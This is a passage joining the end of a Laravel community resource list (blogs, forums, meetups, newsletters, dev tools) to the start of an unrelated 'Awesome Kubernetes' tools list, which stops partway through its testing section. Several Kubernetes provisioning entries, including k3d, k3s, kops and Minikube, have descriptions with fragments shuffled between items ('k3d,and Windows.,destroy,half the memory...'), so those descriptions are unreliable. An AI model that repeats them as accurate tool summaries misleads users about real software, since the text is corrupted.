- [Ryan Tablada](http://ryantablada.com/tag/Laravel)
- [Ryan Winchester](https://ryanwinchester.ca/posts) \[10/15/2016\]
- [Sarav](http://sarav.co/blog/)
- [Scotch.io](http://scotch.io/)
- [Sean O'Neill](http://seanoneill.me/tag/laravel/) \[05/30/2017\]
- [Sebastian De Deyne](https://sebastiandedeyne.com/) \[03/09/2017\]
- [Saqueib Ansari](http://www.qcode.in/category/laravel/) \[05/30/2017\]
- [Sergi Tur Badenas](https://medium.com/@sergiturbadenas) \[08/12/2017\]
- [Servage](https://www.servage.net/blog/tag/laravel/) \[08/16/2016\]
- [Sillo (in French)](http://laravel.sillo.org/) \[01/08/2017\]
- [Simon Archer (ArchyBold)](http://www.archybold.com/blog/tagged/laravel) \[06/08/2015\]
- [Simon Hamp](https://medium.com/@simonhamp) \[02/08/2016\]
- [Simple Developer](http://simpledeveloper.com/category/laravel-framework/)
- [Simplest Web](https://simplestweb.in/blog?tag=laravel) \[12/01/2018\]
- [Stephen Jude](https://stephenjude.me/) \[07/06/2020\]
- [Sky Blue Sofa (Dave Rogers)](http://skybluesofa.com/blog/) \[01/07/2017\]
- [Skyshi Digital](https://medium.com/skyshidigital/tagged/laravel) \[07/26/2017\]
- [Slashnode](http://slashnode.com/blog/)
- [Small Dog Studios](https://blog.smalldo.gs/category/code-2/laravel/) \[04/27/2015\]
- [SOFTonSOFA](http://softonsofa.com/)
- [Stampede Design](http://constructs.stampede-design.com/tag/laravel/) \[08/15/2016\]
- [Stefan Zweifel](https://stefanzweifel.io/posts/) \[07/22/2016\]
- [Stephen Jude](http://stephenjude.me/) \[11/17/2020\]
- [Stephen Rees-Carter](http://stephen.rees-carter.net/tag/laravel)
- [Steve Azzopardi](https://medium.com/@steveazz) \[04/05/2016\]
- [Steven Maguire](https://stevenmaguire.com/publications/) \[11/19/2016\]
- [Stidges' Blog](http://blog.stidges.com/)
- [StillAt (Johnathon Koster)](http://www.stillat.com/)
- [Stormpath](https://stormpath.com/blog/category/php) \[08/11/2016\]
- [Styde](https://styde.net/category/laravel-5/) (Spanish/[English translation](https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-8&u=https%3A%2F%2Fstyde.net%2Fcategory%2Flaravel-5%2F&edit-text=&act=url)) \[05/30/2015\]
- [South LaSalle (Bob Bloom)](https://www.southlasalle.com/posts)
- [Sujip Thapa](https://sujipthapa.co/blog/tag/laravel) \[08/30/2017\]
- [Taha Shashtari](http://taha-sh.com/tags/laravel) \[10/07/2015\]
- [Tanner Hearne](http://www.tannerhearne.com/category/development/laravel/)
- [Taylor Otwell](http://taylorotwell.com/)
- [Techigniter](http://www.techigniter.in/category/laravel/) \[07/13/2015\]
- [Technology Shouters](https://www.technologyshouters.com/?s=laravel) \[11/20/2017\]
- [Techuz](https://www.techuz.com/blog/category/laravel-development/) \[08/21/2017\]
- [Terry Matula](http://www.terrymatula.com/)
- [The App Guruz](http://www.theappguruz.com/blog) \[04/26/2016\]
- [The Reluctant Web Developer](http://thereluctantdeveloper.com/category/laravel)
- [Tighten.co](http://blog.tighten.co/) \[04/13/2016\]
- [Tim Leland](http://timleland.com/) \[09/29/2015\]
- [Tirdea Mihai](https://tirdeamihai.com/blog/tag/laravel) \[03/30/2017\]
- [TJ Miller](https://www.tjmiller.me) \[10/13/2018\]
- [TNT Studio](http://tntstudio.us/blog)
- [Todd Francis](http://toddish.co.uk/blog/tag/laravel/) \[07/30/2015\]
- [Tom Schlick](https://tomschlick.com/) \[03/20/2017\]
- [Tomas Votruba](https://www.tomasvotruba.cz/blog/) \[03/19/2018\]
- [Tommy Ku](http://blog.tommyku.com/)
- [Tutelage Systems](http://tutelagesystems.com/) \[05/09/2016\]
- [Tutsnare](http://tutsnare.com/category/laravel/)
- [Unlikenesses](http://unlikenesses.com/) \[04/10/2018\]
- [Vegi Bit](http://vegibit.com/tag/laravel/)
- [Vincent Klaiber](https://vinkla.com/) \[08/11/2015\]
- [Vehikl](http://transmission.vehikl.com/) \[08/10/2015\]
- [W3Laravel](http://www.w3laravel.com/) \[08/15/2016\]
- [Web Design & Development Talk](http://www.web-design-talk.co.uk/category/laravel-4/)
- [Web Monkeys](https://www.webmonkeys.io/forums/laravel.27/) \[09/02/2016\]
- [WebDevTuts](http://webdevtuts.co.uk/tag/laravel/) \[07/13/2015\]
- [Web Fosters, The](https://thewebfosters.com/tag/laravel) \[11/21/2017\]
- [Weblint4u](http://weblint4u.com/category/laravel/)
- [Websanova](http://www.websanova.com/blog/) \[09/23/2015\]
- [Webs Mentor](https://websmentor.wordpress.com/category/laravel/) \[10/18/2016\]
- [Wogan](https://wogan.blog/tag/laravel/) \[02/16/2017\]
- [WSnippets](http://wsnippets.com/category/laravel/)
- [Yottaram (Jonathan Stavis)](http://yottaram.com/blog/)
- [zwacky](https://medium.com/@zwacky)
### Forums and Groups
- [Forge Recipes](http://forgerecipes.com/) - Community-maintained recipes for using [Laravel Forge](https://forge.laravel.com/). \[09/21/2017\]
- [Go Laravel](http://www.golaravel.com/) - Chinese-language forum and shared blog site for Laravel. \[04/22/2015\]
- [Google+ Laravel Community](https://plus.google.com/communities/106838454910116161868)
- [LaraChat](https://larachat.co/) - A Slack channel for learning and sharing about Laravel framework. \[09/04/2015\]
- [Laravel China](https://laravel-china.org/) \[10/01/2016\]
- [Laravel LinkedIn Group](https://www.linkedin.com/groups/Laravel-PHP-Framework-4419933)
- [Laravel Recipes](http://laravel-recipes.com/)
- [Laravel Reddit](http://www.reddit.com/r/laravel/)
- [Laravel.io Forums](http://laravel.io/forum) - The Official Laravel PHP Framework Community Portal
- [Larazona](http://larazona.org/) - Scottsdale, AZ Laravel Meetup group. \[09/09/2015\]
- [Learn Laravel Reddit](http://www.reddit.com/r/learnlaravel/) - Good forum for Laravel beginners (however, not very active).
- [Quora Laravel Forum](http://www.quora.com/Laravel)
- [Twitter Laravel Resources](https://twitter.com/search?q=laravel&src=typd)
### Conferences, Meetups, and User Groups
- [ArtisanConf](https://www.artisanconf.com/) \[04/20/2015\]
- [Laracon EU](http://laracon.eu/)
- [Laracon US](http://laracon.us/) \[04/09/2015\]
- [Laravel Austin](http://laravelaustin.com/) \[03/28/2016\]
- [Laravel Berlin](http://www.meetup.com/laravel-berlin/) \[03/28/2016\]
- [Laravel Buenos Aires](https://www.meetup.com/Laravel-Buenos-Aires/) \[10/17/2016\]
- [Laravel Chicago](http://www.meetup.com/laravel-chicago/) \[03/28/2016\]
- [Laravel London](https://www.meetup.com/London-Laravel/) \[10/17/2016\]
- [Laravel Nairobi](https://www.meetup.com/Nairobi-Laravel-Meetup/) \[10/17/2016\]
- [Laravel Sao Paulo](https://www.meetup.com/Laravel-SP/) \[10/17/2016\]
- [Laravel Tokyo](https://laravel.tokyo/) \[03/28/2016\]
- [PHP Laravel Framework Sydney](https://www.meetup.com/PHP-Laravel-Framework-Sydney/) \[10/17/2016\]
- [San Diego Laravel User Group (SDLUG)](https://www.sdlug.com/) \[03/28/2016\]
- [Laravel Hungary](https://laravel.hu)
- [Laravel Hungary Meetup](https://www.meetup.com/Laravel-Hungary-Meetup/)
### Newsletters
- [Daily Laravel](http://paper.li/stevenklar/1389804586) - Aggregator of new/upcoming Laravel articles and tutorials. \[07/09/2015\]
- [Laravel Weekly](https://github.com/LaravelIO/LaravelWeekly) - Publication currently suspended, but lots of good information in back issues.
- [Laravel News](http://laravel-news.com/) - Popular newsletter with updates from the Laravel community including excellent profiles of community members.
- [Laravel Quick Tips](http://codebyjeff.com/newsletter) - Weekly e-mail with tips on Laravel to be read in under 5 minutes. \[01/11/2016\]
- [Laravel Reading List](http://boringmonday.com/) - Automatically updated news aggregator for Laravel articles, packages, and Reddit posts. \[08/28/2017\]
- [paper.li Laravel Weekly](http://paper.li/akhy/1356948419#!) - Weekly news and articles on Laravel.
### Job Sites/Postings
- [Laravel Gurus](http://laravelgurus.com/) - The best place to find consultants and freelancers for your Laravel projects.
- [LaraJobs](http://larajobs.com/) - The best place to post your PHP, Laravel, or technical guru jobs.
- [Laralance](https://laralance.com/) - Job listing site for Laravel freelancers. \[03/27/2018\]
### Development Tools
- [docker-laravel](https://github.com/mtmacdonald/docker-laravel) - A Ubuntu [LEMP](https://lemp.io/) [Docker](https://www.docker.com/) base image for Laravel development loosely based on [Phusion Base Image](https://github.com/phusion/baseimage-docker). \[06/01/2015\]
- [docker-laravel](https://github.com/harshjv/docker-laravel) - Laravel 5 environment built on Docker with PHP-FPM, MySQL, nginx, and Gulp managed using [Docker Compose](https://github.com/docker/compose). \[05/17/2016\]
- [docker-laravel](https://github.com/richbayliss/docker-laravel) - A set of docker-compose files for running a Laravel PHP application in Docker. \[02/06/2017\]
- [docker-laravel](https://github.com/ucan-lab/docker-laravel) - Build laravel development environment with docker-compose. \[05/09/2020\]
- [LaraBug](https://www.larabug.com/) - Online error reporting tool for Laravel (limited free plan available). \[12/16/2016\]
- [LaraDock](https://github.com/LaraDock/laradock) - Complete, very well documented toolkit for setting up Homestead-like Laravel development environment using Docker. \[04/12/2016\]
- [Laragen](http://makzumi.com/laragen/) - Online tool for generating Laravel views for *index*, *create*, and *edit*, based on your model definition.
- [Laragon](http://laragon.org/) - Open-source toolkit for setting up Laravel development environment on Windows.
- [Laravel Debug Bar](https://github.com/barryvdh/laravel-debugbar) - Awesome tool that adds a JavaScript-based bar to bottom of page which shows details about routes, HTTP requests, variables, and much more.
- [Laravel Docker](https://github.com/SteveAzz/laravel-docker) - [Docker](http://docker.io/) configuration for building Laravel development environment. \[10/30/2015\]
- [Laravel Drydock](https://github.com/atrauzzi/laravel-drydock) - A pre-built local development environment for Laravel using Docker. \[02/08/2016\]
- [Laravel Extension Pack for Visual Studio Code](https://github.com/onecentlin/laravel-extension-pack-vscode) - Several extensions for [Visual Studio Code](https://code.visualstudio.com/) for Laravel syntax highlighting and productivity. \[10/16/2018\]
- [Laravel Model/Migration Generator](http://andressantibanez.com/laravel-model-generator/) - Simple online tool for generating Laravel model class definition and database migration code by entering details about database table. \[08/04/2016\]
- [Laravel on Windows](https://laravelonwindows.com/) - Help for developers using Windows, including how to use Homestead and Vagrant. \[03/08/2017\]
- [Laravel Stats](https://github.com/stefanzweifel/laravel-stats) - Add Artisan command to show summary statistics of your project, such as number of classes, methods, lines of code, etc. \[11/06/2017\]
- [Laravel Tail](https://github.com/spatie/laravel-tail) - Brings back the awesome `tail` command for artisan to Laravel 5. \[02/14/2017\]
- [Laravel
*for Ubuntu*](https://github.com/cpriego/valet-ubuntu) - Port of [Laravel Valet](http://laravel.com/docs/valet) (for Mac) to run on Ubuntu. \[05/31/2016\]
- [Lumen](http://lumen.laravel.com/) - PHP micro-framework based on Laravel (official).
- [Orator](http://www.midnightcowboycoder.com/) - Online tool to convert legacy SQL queries to Laravel [Query Builder](https://laravel.com/docs/5.5/queries) format. \[09/02/2017\]
- [PHP Framework Benchmarks](https://github.com/kenjis/php-framework-benchmark) - Real-world benchmarks of many popular (and a few obscure!) PHP frameworks, including Laravel 4.x and 5.x and Lumen. \[07/28/2016\]
- [PHP Storm Laravel Live Templates](https://github.com/koomai/phpstorm-laravel-live-templates) - Comprehensive set of templates for Laravel for [PHP Storm](https://www.jetbrains.com/phpstorm/). \[05/25/2015\]
- [Pier](https://github.com/codecasts/pier) - A set of customized Docker images for running Laravel with support for PHP 7.x, Nginx, Caddy, MySQL, and PostgreSQL. \[08/15/2016\]
- [Scotch Box](https://box.scotch.io/) - A complete [LAMP](https://en.m.wikipedia.org/wiki/LAMP_%28software_bundle%29) [Vagrant](http://vagrantup.com/) box with PHP 5.5, Laravel installer, and Node.JS front-end tools. \[05/22/2015\]
- [SQL to Laravel Seeder Converter](http://laravel.stonelab.ch/sql-seeder-converter/) - Online tool to convert SQL INSERT statements to Laravel seeder syntax. \[05/05/2015\]
- [Understand.io](https://www.understand.io/) - Online service for managing, searching, and deciphering PHP and Laravel log files. \[04/27/2015\]
- [valet4windows](https://github.com/vitr/valet4windows) - Windows version of Laravel Valet \[03/19/2017]
- [Valet for Windows](https://github.com/cretueusebiu/valet-windows) - Port of the popular [Laravel Valet](https://laravel.com/docs/valet) environment for Macs to Windows. \[03/08/2017\]
- [vim-blade](https://github.com/jwalton512/vim-blade) - Vim syntax highlighting for Laravel's Blade template syntax. \[01/04/2016\]
- [VS Web Essentials](http://vswebessentials.com/) - Free Visual Studio extension with support for Laravel syntax. \[07/13/2015\]
- [Laravel MultiMix](https://github.com/fandogh/laravel-multimix) - Laravel-Mix helper for projects with complex & multi assets.
### Other
- [My Pinboard Links for Laravel](https://pinboard.in/u:tdjones/t:laravel/)
- Another [Awesome Laravel List](https://github.com/chiraggude/awesome-laravel) :)
- Another [Awesome Laravel List](https://github.com/tuwannu/awesome-laravel)
- [We Made the Front Page of PHP Reddit! Thanks!](https://www.reddit.com/r/PHP/comments/5xaa6g/a_curated_list_of_delightful_laravel_php/) \[03/06/2017\]
|
# Awesome Kubernetes Resources [](https://awesome.re)
A curated list of awesome Kubernetes tools and resources.
Inspired by [awesome](https://github.com/sindresorhus/awesome) list and [donnemartin/awesome-aws](https://github.com/donnemartin/awesome-aws).
## The Fiery Meter of Awesomeness
* Repo with 0050+ Stars: :fire:
* Repo with 0200+ Stars: :fire::fire:
* Repo with 0500+ Stars: :fire::fire::fire:
* Repo with 1000+ Stars: :fire::fire::fire::fire:
* Repo with 2000+ Stars: :fire::fire::fire::fire::fire:
Idea taken from [donnemartin/awesome-aws](https://github.com/donnemartin/awesome-aws).
## Contents
- [Tools and Libraries](#tools-and-libraries)
- [Command Line Tools](#command-line-tools)
- [Cluster Provisioning](#cluster-provisioning)
- [Automation and CI/CD](#automation-and-cicd)
- [Cluster Resources Management](#cluster-resources-management)
- [Secrets Management](#secrets-management)
- [Networking](#networking)
- [Storage](#storage)
- [Testing and Troubleshooting](#testing-and-troubleshooting)
- [Monitoring, Alerts, and Visualization](#monitoring-alerts-and-visualization)
- [Backup and Restore](#backup-and-restore)
- [Security and Compliance](#security-and-compliance)
- [Service Mesh](#service-mesh)
- [Development Tools](#development-tools)
- [Data Processing and Machine Learning](#data-processing-and-machine-learning)
- [Data Management](#data-management)
- [Miscellaneous](#miscellaneous)
- [Guides, Documentations, Blogs, and Learnings](#guides-documentations-blogs-and-learnings)
- [Guides](#guides)
- [Blogs and Videos](#blogs-and-videos)
- [Learnings and Documentations](#learnings-and-documentations)
- [Certification Guides](#certification-guides)
- [Contribute](#contribute)
- [License](#license)
## Tools and Libraries
Items with :green_heart: indicate open source projects.
### Command Line Tools
- :green_heart:[Helm](https://github.com/helm/helm) :fire::fire::fire::fire::fire: - Helm is a tool for managing Charts. Charts are packages of pre-configured Kubernetes resources.
- :green_heart:[Infra](https://github.com/infrahq/infra) :fire::fire::fire: - Infra enables you to discover and access infrastructure (e.g. Kubernetes, databases). We help you connect an identity provider such as Okta or Azure active directory, and map users/groups with the permissions you set to your infrastructure.
- :green_heart:[K9s](https://github.com/derailed/k9s) :fire::fire::fire::fire::fire: - K9s provides a terminal UI to interact with your Kubernetes clusters.
- :green_heart:[kapp](https://github.com/vmware-tanzu/carvel-kapp) :fire::fire::fire: - kapp is a simple deployment tool focused on the concept of "Kubernetes application" — a set of resources with the same label
- :green_heart:[kconnect](https://github.com/fidelity/kconnect) :fire::fire: - kconnect is a CLI utility that can be used to discover and securely access Kubernetes clusters across multiple operating environments.
- :green_heart:[Ktunnel](https://github.com/omrikiei/ktunnel) :fire::fire: - Ktunnel is a CLI tool that establishes a reverse tunnel between a kubernetes cluster and your local machine.
- :green_heart:[Kubebox](https://github.com/astefanutti/kubebox) :fire::fire::fire::fire: - Terminal and Web console for Kubernetes
- :green_heart:[Kubetail](https://github.com/johanhaleby/kubetail) :fire::fire::fire::fire::fire: - Bash script that enables you to aggregate (tail/follow) logs from multiple pods into one stream.
- :green_heart:[kube-shell](https://github.com/cloudnativelabs/kube-shell) :fire::fire::fire::fire: - Kube-shell: An integrated shell for working with the Kubernetes CLI.
- 💚[kubecolor](https://github.com/hidetatz/kubecolor) 🔥🔥🔥 - colorizes kubectl output
- :green_heart:[kubectl tree](https://github.com/ahmetb/kubectl-tree) :fire::fire::fire::fire: - A kubectl plugin to explore ownership relationships between Kubernetes objects through owners.
- :green_heart:[kubectl-aliases](https://github.com/ahmetb/kubectl-aliases) :fire::fire::fire::fire::fire: - This repository contains a script to generate hundreds of convenient shell aliases for kubectl.
- :green_heart:[kubectx + kubens](https://github.com/ahmetb/kubectx) :fire::fire::fire::fire::fire: - `kubectx` helps you switch between clusters back and forth, and `kubens` helps you switch between Kubernetes namespaces smoothly.
- :green_heart:[kubediff](https://github.com/weaveworks/kubediff) :fire::fire::fire: - Kubediff is a tool for Kubernetes to show you the differences between your running configuration and your version controlled configuration.
- :green_heart:[kubeprompt](https://github.com/jlesquembre/kubeprompt) :fire: - Isolates KUBECONFIG in each shell and shows the current Kubernetes context/namespace in your prompt
- :green_heart:[Kubevela](https://github.com/oam-dev/kubevela) :fire::fire::fire::fire::fire: - KubeVela is an easy-to-use yet extensible platform that enables them to design and ship applications with minimal effort.
- :green_heart:[Move2Kube](https://github.com/konveyor/move2kube) :fire::fire: - A tool to help users migrate their apps from legacy platforms like Cloud Foundry to Kubernetes and Openshift. Analyses the application source code and generates Kubernetes YAMLs, Helm Charts, Tekton Pipelines, etc. The analysis and generation can be heavily customized to produce the exact output that you want.
- :green_heart:[nova](https://github.com/FairwindsOps/nova/) :fire::fire: - Nova scans your cluster for installed Helm charts, then cross-checks them against all known Helm repositories.
- :green_heart:[Plural](https://github.com/pluralsh/plural) :fire::fire: - Plural is a CLI tool and holistic DevOps management platform for rapidly deploying, managing, and monitoring open-source applications on Kubernetes.
- :green_heart:[RBAC Lookup](https://github.com/FairwindsOps/rbac-lookup) :fire::fire::fire: - RBAC Lookup is a CLI that allows you to easily find Kubernetes roles and cluster roles bound to any user, service account, or group name.
- :green_heart:[stern](https://github.com/stern/stern) :fire::fire::fire::fire::fire: - Stern allows you to tail multiple pods on Kubernetes and multiple containers within the pod.
### Cluster Provisioning
- :green_heart:[Bootkube](https://github.com/kubernetes-sigs/bootkube) :fire::fire::fire::fire: - Bootkube is a tool for launching self-hosted Kubernetes clusters.
- :green_heart:[Claudie](https://github.com/berops/claudie) :fire: - Multi-cloud clusters with each nodepool in a different cloud provider.
- :green_heart:[Cluster API](https://github.com/kubernetes-sigs/cluster-api) :fire::fire::fire::fire::fire: - Cluster API is a Kubernetes sub-project focused on providing declarative APIs and tooling to simplify provisioning, upgrading, and operating multiple Kubernetes clusters.
- :green_heart:[eksctl](https://github.com/weaveworks/eksctl) :fire::fire::fire::fire::fire: - `eksctl` is a simple CLI tool for creating clusters on EKS - Amazon's new managed Kubernetes service for EC2.
- :green_heart:[k0s](https://github.com/k0sproject/k0s) :fire::fire::fire::fire::fire: - k0s - Zero Friction Kubernetes (The Simple, Solid & Certified Kubernetes Distribution)
- :green_heart:[k3d](https://github.com/rancher/k3d) :fire::fire::fire::fire::fire: - k3d,and Windows.,destroy,half the memory,highly available,is a tool for running local k3s clusters in docker. It's a single binary about 20 MB. You need to have docker installed.
- :green_heart:[k3s](https://github.com/rancher/k3s) :fire::fire::fire::fire::fire: - Lightweight Kubernetes. Easy to install,Kubernetes clusters from the command line.
- :green_heart:[kind](https://github.com/kubernetes-sigs/kind) :fire::fire::fire::fire::fire: - kind is a tool for running local Kubernetes clusters using Docker container "nodes".
- :green_heart:[kops](https://github.com/kubernetes/kops) :fire::fire::fire::fire::fire: - `kops` helps you create,like kind,upgrade and maintain production-grade
- :green_heart:[kube-aws](https://github.com/kubernetes-incubator/kube-aws) :fire::fire::fire::fire: - `kube-aws` is a command-line tool to create/update/destroy Kubernetes clusters on AWS.
- :green_heart:[kubespray](https://github.com/kubernetes-sigs/kubespray) :fire::fire::fire::fire::fire: - Deploy a production ready Kubernetes cluster
- :green_heart:[microK8s](https://github.com/ubuntu/microk8s) :fire::fire::fire::fire::fire: - The smallest, fastest Kubernetes
- :green_heart:[Minikube](https://github.com/kubernetes/minikube) :fire::fire::fire::fire::fire: - minikube implements a local Kubernetes cluster on macOS,Linux,all in a binary less than 100 MB.
- :green_heart:[Talos Linux](https://github.com/siderolabs/talos) :fire::fire::fire::fire::fire: - Talos Linux is a minimal, immutable, secure OS that installs vanilla Kubernetes - for production datacenters, K8s@home, and Edge.
- [Kubeadm](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm/) - kubeadm performs the actions necessary to get a minimum viable cluster up and running.
### Automation and CI/CD
- :green_heart:[Argo CD](https://github.com/argoproj/argo-cd) :fire::fire::fire::fire::fire: - Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.
- :green_heart:[Argo Events](https://github.com/argoproj/argo-events) :fire::fire::fire::fire: - Argo Events is an event-driven workflow automation framework for Kubernetes which helps you trigger K8s objects, Argo Workflows, Serverless workloads, etc.
- :green_heart:[Argo Rollouts](https://github.com/argoproj/argo-rollouts) :fire::fire::fire::fire: - Argo Rollouts controller, uses the Rollout custom resource to provide additional deployment strategies such as Blue Green and Canary to Kubernetes.
- :green_heart:[Argo Workflows](https://github.com/argoproj/argo) :fire::fire::fire::fire::fire: - Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes.
- :green_heart:[Flagger](https://github.com/weaveworks/flagger) :fire::fire::fire::fire::fire: - Flagger is a progressive delivery tool that automates the release process for applications running on Kubernetes.
- :green_heart:[Flux2](https://github.com/fluxcd/flux2) :fire::fire::fire::fire::fire: - Flux version 2 is built from the ground up to use Kubernetes' API extension system, and to integrate with Prometheus and other core components of the Kubernetes ecosystem.
- :green_heart:[k8s-image-swapper](https://github.com/estahn/k8s-image-swapper/) :fire::fire: - `k8s-image-swapper` is a mutating webhook for Kubernetes, downloading images into your own registry and pointing the images to that new location.
- :green_heart:[KubeSphere](https://github.com/kubesphere/kubesphere) :fire::fire::fire::fire::fire: - KubeSphere is a distributed operating system providing cloud native stack with Kubernetes as its kernel, and aims to be plug-and-play architecture for third-party applications seamless integration to boost its ecosystem.
- :green_heart:[Reloader](https://github.com/stakater/Reloader) :fire::fire::fire::fire::fire: - Reloader can watch changes in `ConfigMap` and `Secret` and do rolling upgrades on Pods with their associated `DeploymentConfigs`, `Deployments`, `Daemonsets` and `Statefulsets`.
- :green_heart:[terranetes-controller](https://github.com/appvia/terranetes-controller) :fire: - Terranetes controller enables the platform team to deliver self-service capabilities around cloud resources.
- :green_heart:[Skaffold](https://github.com/GoogleContainerTools/skaffold) :fire::fire::fire::fire::fire: - Skaffold is a command line tool that facilitates continuous development for Kubernetes applications.
- :green_heart:[Spinnaker](https://github.com/spinnaker/spinnaker) :fire::fire::fire::fire::fire: - Spinnaker is an open-source continuous delivery platform for releasing software changes with high velocity and confidence.
- :green_heart:[TF-controller](https://github.com/weaveworks/tf-controller) :fire: - TF-controller is an experimental controller for Flux to reconcile Terraform resources in the GitOps way.
- :green_heart:[werf](https://github.com/werf/werf) :fire::fire::fire::fire::fire: - werf is a CLI tool glueing Git, Docker, Helm & Kubernetes with any CI system to implement CI/CD and GitOps.
- :green_heart:[Weave GitOps](https://github.com/weaveworks/weave-gitops) :fire::fire: - Weave GitOps is a simple open source developer platform for people who want cloud native applications, without needing Kubernetes expertise.
### Cluster Resources Management
- :green_heart:[Clusterpedia](https://github.com/clusterpedia-io/clusterpedia) :fire: - Clusterpedia is used for complex resource searches across multiple clusters, support simultaneous search of a single kind of resource or multiple kinds of resources existing in multiple clusters.
- :green_heart:[Grafana Tanka](https://github.com/grafana/tanka) :fire::fire::fire::fire: - The clean, concise and super flexible alternative to YAML for your Kubernetes cluster.
- :green_heart:[KEDA](https://github.com/kedacore/keda) :fire::fire::fire::fire::fire: - KEDA allows for fine grained autoscaling (including to/from zero) for event driven Kubernetes workloads.
- :green_heart:[Kruise](https://github.com/openkruise/kruise) :fire::fire::fire::fire::fire: - Kruise consists of several controllers which extend and complement the Kubernetes core controllers for workload management.
- :green_heart:[KubeDirector](https://github.com/bluek8s/kubedirector) :fire::fire: - KubeDirector uses standard Kubernetes (K8s) facilities of custom resources and API extensions to implement stateful scaleout application clusters.
- :green_heart:[Kubenav](https://github.com/kubenav/kubenav) :fire::fire::fire::fire: - kubenav is the navigator for your Kubernetes clusters right in your pocket.
- :green_heart:[Liqo](https://github.com/liqotech/liqo) :fire::fire: - Liqo implements Dynamic resource sharing across different Kubernetes clusters (e.g.; offloading pods and services), supporting decentralized governance.
- :green_heart:[Pluto](https://github.com/FairwindsOps/pluto) :fire::fire::fire::fire: - Pluto is a utility to help users find deprecated Kubernetes apiVersions in their code repositories and their helm releases.
- :green_heart:[Polaris](https://github.com/FairwindsOps/polaris) :fire::fire::fire::fire::fire: - Polaris is an open source policy engine for Kubernetes that validates and remediates resource configuration.
- :green_heart:[The Hierarchical Namespace Controller](https://github.com/kubernetes-sigs/multi-tenancy/tree/master/incubator/hnc) :fire::fire::fire: - Hierarchical namespaces make it easier to share your cluster by making namespaces more powerful.
### Secrets Management
- :green_heart:[Kubernetes External Secrets](https://github.com/godaddy/kubernetes-external-secrets) :fire::fire::fire::fire::fire: - Kubernetes External Secrets allows you to use external secret management systems, like AWS Secrets Manager or HashiCorp Vault, to securely add secrets in Kubernetes.
- :green_heart:[Sealed Secrets](https://github.com/bitnami-labs/sealed-secrets) :fire::fire::fire::fire::fire: - Encrypt your Secret into a SealedSecret, which is safe to store - even to a public repository.
- :green_heart:[akv2k8s](https://github.com/SparebankenVest/azure-key-vault-to-kubernetes) :fire::fire: - Azure Key Vault to Kubernetes (akv2k8s) will make Azure Key Vault objects available to Kubernetes in two ways: as native Kubernetes Secrets; as environment variables directly injected into your Container application
### Networking
- :green_heart:[Calico Networking](https://github.com/projectcalico/calico) :fire::fire::fire::fire::fire: - Calico is an open source networking and network security solution for containers, virtual machines, and bare-metal workloads
- :green_heart:[cert-manager](https://github.com/jetstack/cert-manager) :fire::fire::fire::fire::fire: - cert-manager is a Kubernetes add-on to automate the management and issuance of TLS certificates from various issuing sources.
- :green_heart:[cilium](https://github.com/cilium/cilium) :fire::fire::fire::fire::fire: - Cilium is a networking, observability, and security solution with an eBPF-based dataplane.
- :green_heart:[CoreDNS](https://github.com/coredns/coredns) :fire::fire::fire::fire::fire: - CoreDNS is a fast and flexible DNS server that works on Kubernetes.
- :green_heart:[ingress-nginx](https://github.com/kubernetes/ingress-nginx) :fire::fire::fire::fire::fire: - `ingress-nginx` is an Ingress controller for Kubernetes using NGINX as a reverse proxy and load balancer.
- :green_heart:[Kong for Kubernetes](https://github.com/Kong/kubernetes-ingress-controller) :fire::fire::fire::fire: - Configure plugins, health checking, load balancing and more in Kong for Kubernetes Services.
- :green_heart:[ksniff](https://github.com/eldadru/ksniff) :fire::fire::fire::fire: - A kubectl plugin that utilize tcpdump and Wireshark to start a remote capture on any pod in your Kubernetes cluster.
- :green_heart:[kubectl trace](https://github.com/iovisor/kubectl-trace) :fire::fire::fire::fire: - `kubectl trace` is a kubectl plugin that allows you to schedule the execution of bpftrace programs in your Kubernetes cluster.
- :green_heart:[Kube Karp](https://github.com/immanuelfodor/kube-karp) :fire: - Add a floating virtual IP to Kubernetes cluster nodes for load balancing easily based on the CARP protocol
- :green_heart:[kubernetes-ingress](https://github.com/nginxinc/kubernetes-ingress) :fire::fire::fire::fire::fire: - An implementation of an Ingress controller for NGINX and NGINX Plus (commercial).
- :green_heart:[kube-ovn](https://github.com/alauda/kube-ovn) :fire::fire::fire::fire: - A Kubernetes Network Fabric for Enterprises that is Rich in Functions and Easy in Operations.
### Storage
- :green_heart:[Longhorn](https://github.com/longhorn/longhorn) :fire::fire::fire::fire::fire: - Longhorn is a distributed block storage system for Kubernetes.
- :green_heart:[OpenEBS](https://github.com/openebs/openebs) :fire::fire::fire::fire::fire: - OpenEBS is the most widely deployed and easy to use open-source storage solution for Kubernetes.
- :green_heart:[Rook](https://github.com/rook/rook) :fire::fire::fire::fire::fire: - Rook is an open source cloud-native storage orchestrator for Kubernetes.
### Testing and Troubleshooting
- :green_heart:[Chaos Mesh](https://github.com/pingcap/chaos-mesh) :fire::fire::fire::fire::fire: - Chaos Mesh® is a cloud-native Chaos Engineering platform that orchestrates chaos on Kubernetes environments.
- :green_heart:[chaoskube](https://github.com/linki/chaoskube) :fire::fire::fire::fire: - `chaoskube` periodically kills random pods in your Kubernetes cluster.
- :green_heart:[Conftest](https://github.com/open-policy-agent/conftest) :fire::fire::fire::fire: - Conftest helps you write tests against structured configuration data.
- :green_heart:[DETIK](https://github.com/bats-core/bats-detik) :fire: - A library that simplifies end-to-end testing of K8s applications by using [BATS](https://github.com/bats-core/bats-core) assertions and natural language queries.
- :green_heart:[k6](https://github.com/loadimpact/k6) :fire::fire::fire::fire::fire: - k6 is a modern load testing tool, building on Load Impact's years of experience in the load and performance testing industry.
- :green_heart:[ksniff](https://github.com/eldadru/ksniff) :fire::fire::fire::fire: - A kubectl plugin that utilize tcpdump and Wireshark to start a remote capture on any pod in your Kubernetes cluster.
- :green_heart:[Kube DOOM](https://github.com/storax/kubedoom) :fire::fire::fire::fire: - The next level of chaos engineering is here! Kill pods inside your Kubernetes cluster by shooting them in Doom!
- :green_heart:[kube-monkey](https://github.com/asobti/kube-monkey) :fire::fire::fire::fire::fire: - It randomly deletes Kubernetes (k8s) pods in the cluster encouraging and validating the development of failure-resilient services.
- :green_heart:[kube-score](https://github.com/zegl/kube-score) :fire::fire::fire::fire: - `kube-score` is a tool that performs static code analysis of your Kubernetes object definitions.
